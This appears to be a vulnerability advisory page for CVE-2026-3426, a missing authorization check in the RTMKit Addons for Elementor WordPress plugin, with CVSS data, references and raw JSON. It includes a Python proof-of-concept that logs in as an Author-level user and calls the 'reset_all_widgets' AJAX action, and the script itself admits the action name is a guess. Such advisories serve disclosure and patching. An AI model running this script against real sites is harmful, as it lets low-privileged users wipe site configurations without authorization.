Security Vulnerability Report
中文
CVE-2026-3426 CVSS 4.3 MEDIUM

CVE-2026-3426

Published: 2026-05-13 13:16:41
Last Modified: 2026-05-13 14:43:47

Description

The RTMKit Addons for Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on the save_widget() and reset_all_widgets() functions in all versions up to, and including, 2.0.2. This makes it possible for authenticated attackers, with Author-level access and above, to modify or reset site-wide widget configurations.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

RTMKit Addons for Elementor <= 2.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: RTMKit Addons for Elementor < 2.0.2 - Authenticated (Author+) Widget Reset/Modification # Description: This script demonstrates how an authenticated user with Author-level privileges # can trigger the vulnerable functions to reset or modify widgets. target_url = "http://example.com/wp-admin/admin-ajax.php" login_url = "http://example.com/wp-login.php" # Attacker credentials (Author role) username = "attacker" password = "password123" session = requests.Session() # 1. Authenticate to the site login_payload = { 'log': username, 'pwd': password, 'redirect_to': 'http://example.com/wp-admin/', 'wp-submit': 'Log In', 'testcookie': '1' } session.post(login_url, data=login_payload) # 2. Exploit the vulnerability (reset_all_widgets) # The specific action name depends on the plugin's registration, usually mapped to the function name. exploit_payload = { 'action': 'reset_all_widgets' # This triggers the vulnerable function in WidgetStorage.php } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Exploit successful! Widgets have been reset.") else: print("[-] Exploit failed or action name incorrect.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3426", "sourceIdentifier": "[email protected]", "published": "2026-05-13T13:16:41.220", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The RTMKit Addons for Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on the save_widget() and reset_all_widgets() functions in all versions up to, and including, 2.0.2. This makes it possible for authenticated attackers, with Author-level access and above, to modify or reset site-wide widget configurations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/rometheme-for-elementor/trunk/Inc/Modules/Helper/EditorCanvas.php#L39", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rometheme-for-elementor/trunk/Inc/Modules/Helper/EditorCanvas.php#L44", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rometheme-for-elementor/trunk/Inc/Modules/Widgets/WidgetStorage.php#L180", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rometheme-for-elementor/trunk/Inc/Modules/Widgets/WidgetStorage.php#L279", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3474369/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/632431eb-ea78-4c93-ac79-2cb92b5746c6?source=cve", "source": "[email protected]"}]}}